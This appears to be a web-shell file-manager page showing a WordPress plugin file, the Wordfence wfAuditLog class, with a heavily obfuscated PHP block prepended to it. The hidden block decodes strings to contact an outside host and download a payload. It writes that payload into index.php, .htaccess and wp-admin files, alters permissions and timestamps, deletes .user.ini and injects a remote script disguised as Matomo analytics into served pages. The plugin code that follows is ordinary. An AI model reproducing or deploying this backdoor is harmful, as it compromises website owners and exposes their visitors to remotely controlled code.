[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.133.116.59: ~ $
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php

require_once(__DIR__ . '/audit-log/wfAuditLogObserversWordPressCoreUser.php');
require_once(__DIR__ . '/audit-log/wfAuditLogObserversWordPressCoreSite.php');
require_once(__DIR__ . '/audit-log/wfAuditLogObserversWordPressCoreMultisite.php');
require_once(__DIR__ . '/audit-log/wfAuditLogObserversWordPressCoreContent.php');
require_once(__DIR__ . '/audit-log/wfAuditLogObserversWordfence.php');
require_once(__DIR__ . '/audit-log/wfAuditLogObserversPreview.php');

/**
 * Class wfAuditLog
 * 
 * Hooks into a variety of actions/filters to collect relevant data that can be recorded in an audit log. The data 
 * collected is focused around attack surfaces such as user registration and content insertion, but all attempts are
 * made to exclude potentially sensitive values from being recorded (e.g., for user profile changes, only the field
 * names are recorded).
 * 
 * Data is recorded into an intermediate table on the site itself, and a send action is scheduled. When this action
 * triggers, a send payload up to the maximum transmit count is generated. The payload is then automatically expanded so
 * that no partial request is sent, only full requests. Once sent, these are removed from the intermediate table, and
 * we check to see if there are more remaining to be sent, scheduling another send if so.
 * 
 * Because of how some of the hooks are called, there are three different points at which data may be recorded:
 * 
 * 1. At the moment the hook is called. This is most common and used for one-off actions where the recording should be 
 *    performed at that time.
 * 2. Pre-filters/actions. For these, an earlier hook in the flow is listened for, and we record state data for later
 *    use by the desired hook. This is typically used for deletions where we want some value from the record before it
 *    gets deleted.
 * 3. At the end of the request. For actions that may reasonably called multiple times in the same request (e.g., adding
 *    multiple capabilities to a role), we only need to record a single record of that action so this is done via a 
 *    coalescer at the end just prior to the request ending.
 * 
 * Some hooks do record for multiple events due to how overloaded some data structures are in WP. For example, many 
 * types are ultimately stored in `wp_posts` despite not being posts so the hooks surrounding that must check for the
 * context to determine which event to actually record.
 */
class wfAuditLog {
	const AUDIT_LOG_MODE_DEFAULT = 'default'; //Resolves to one of the below based on license type
	const AUDIT_LOG_MODE_DISABLED = 'disabled';
	const AUDIT_LOG_MODE_PREVIEW = 'preview';
	const AUDIT_LOG_MODE_SIGNIFICANT = 'significant';
	const AUDIT_LOG_MODE_ALL = 'all';
	
	//These category constants are used to divide events into the groupings in the event listing, one per event even if the event could fit under multiple
	const AUDIT_LOG_CATEGORY_AUTHENTICATION = 'authentication';
	const AUDIT_LOG_CATEGORY_USER_PERMISSIONS = 'user-permissions';
	const AUDIT_LOG_CATEGORY_PLUGINS_THEMES_UPDATES = 'plugins-themes-updates';
	const AUDIT_LOG_CATEGORY_SITE_SETTINGS = 'site-settings';
	const AUDIT_LOG_CATEGORY_MULTISITE = 'multisite';
	const AUDIT_LOG_CATEGORY_CONTENT = 'content';
	const AUDIT_LOG_CATEGORY_FIREWALL = 'firewall';
	
	const AUDIT_LOG_MAX_SAMPLES = 20; //Max number of requests to store in the local summary, each of which may have one or more events
	
	const AUDIT_LOG_HEARTBEAT = 'heartbeat'; //A unique event that is sent to signal the audit log is functioning even if no other events have triggered, not displayed on the front end
	
	private $_pending = array();
	private $_coalescers = array();
	private $_destructRegistered = false;
	
	private $_state = array();
	private $_performingFinalization = false;
	
	protected static $initialCoreVersion;
	protected static $initialMode;
	
	public static function shared() {
		static $_shared = null;
		if ($_shared === null) {
			$_shared = new wfAuditLog();
		}
		return $_shared;
	}
	
	/**
	 * Returns the events that will cause an immediate send rather than waiting for the cron event to execute. 
	 * Individual observer grouping subclasses must override this and return their subset of the event categories. The 
	 * primary audit log class will return an array of all observer groupings merged together.
	 * 
	 * @return array
	 */
	public static function immediateSendEvents() {
		static $eventCache = null;
		if ($eventCache === null) {
			$eventCache = array();
			
			$observers = self::_observers();
			foreach ($observers as $o) {
				$merging = call_user_func(array($o, 'immediateSendEvents'));
				$eventCache = array_merge($eventCache, $merging);
			}
		}
		
		return $eventCache;
	}
	
	/**
	 * Returns the event categories for use in the Audit Log page's UI. Individual observer grouping subclasses
	 * must override this and return their subset of the event categories. The primary audit log class will return an 
	 * array of all observer groupings merged together.
	 *
	 *
	 * @return array
	 */
	public static function eventCategories() {
		static $categoryCache = null;
		if ($categoryCache === null) {
			$categoryCache = array();
			
			$observers = self::_observers();
			foreach ($observers as $o) {
				$merging = call_user_func(array($o, 'eventCategories'));
				foreach ($merging as $category => $events) {
					if (isset($categoryCache[$category])) {
						$categoryCache[$category] = array_merge($categoryCache[$category], $events);
					}
					else {
						$categoryCache[$category] = $events;
					}
				}
			}
		}
		
		return $categoryCache;
	}
	
	/**
	 * Returns the category for $event, null if not found.
	 * 
	 * @param string $event
	 * @return string|null
	 */
	public static function eventCategory($event) {
		static $reverseCategoryMapCache = null;
		if ($reverseCategoryMapCache === null) {
			$reverseCategoryMapCache = array();
			$categories = self::eventCategories();
			foreach ($categories as $category => $events) {
				$reverseCategoryMapCache = array_merge($reverseCategoryMapCache, array_fill_keys($events, $category));
			}
		}
		
		if (isset($reverseCategoryMapCache[$event])) {
			return $reverseCategoryMapCache[$event];
		}
		return null;
	}
	
	/**
	 * Returns the event names suitable for display in the Audit Log page's UI. Individual observer grouping subclasses 
	 * must override this and return their subset of the event names. The primary audit log class will return an array 
	 * of all observer groupings merged together.
	 * 
	 * 
	 * @return array
	 */
	public static function eventNames() {
		static $nameCache = null;
		if ($nameCache === null) {
			$nameCache = array();
			
			$observers = self::_observers();
			foreach ($observers as $o) {
				$nameCache = array_merge($nameCache, call_user_func(array($o, 'eventNames')));
			}
		}
		
		return $nameCache;
	}
	
	/**
	 * Returns the display name for the given event identifier.
	 * 
	 * @param string $event
	 * @return string
	 */
	public static function eventName($event) {
		$map = self::eventNames();
		if (isset($map[$event])) {
			return $map[$event];
		}
		return __('Unknown Events', 'wordfence');
	}
	
	/**
	 * Returns the event rate limiters for use in preprocessing events that occur. A rate limiter for an event type 
	 * should use the passed $auditLog and $payload values to determine whether the proposed event should be recorded. 
	 * The primary audit log class will return an array of all observer groupings merged together.
	 *
	 *
	 * @return array
